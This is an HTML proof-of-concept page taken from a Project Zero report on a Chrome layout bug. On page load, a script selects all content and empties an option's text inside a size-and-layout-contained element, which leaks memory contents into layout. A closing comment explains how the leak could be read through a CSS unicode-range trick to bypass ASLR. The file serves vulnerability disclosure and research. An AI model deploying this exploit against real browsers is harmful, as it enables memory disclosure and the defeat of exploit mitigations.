<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1024
Chrome bug:
https://bugs.chromium.org/p/chromium/issues/detail?id=671328
PoC:
-->
<style>
content { contain: size layout; }
</style>
<script>
function leak() {
document.execCommand("selectAll");
opt.text = "";
}
</script>
<body onload=leak()>
<content>
<select>
<option id="opt">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</option>
</select>
</content>
<!--
Since this is a layout bug AFAIK the leaked data can't be obtained via DOM calls, however it's possible to obtain it using tricks like unicode-range CSS descriptor (credits to Jann Horn for coming up with that approach) which is likely sufficient to turn this into an ASLR bypass.
-->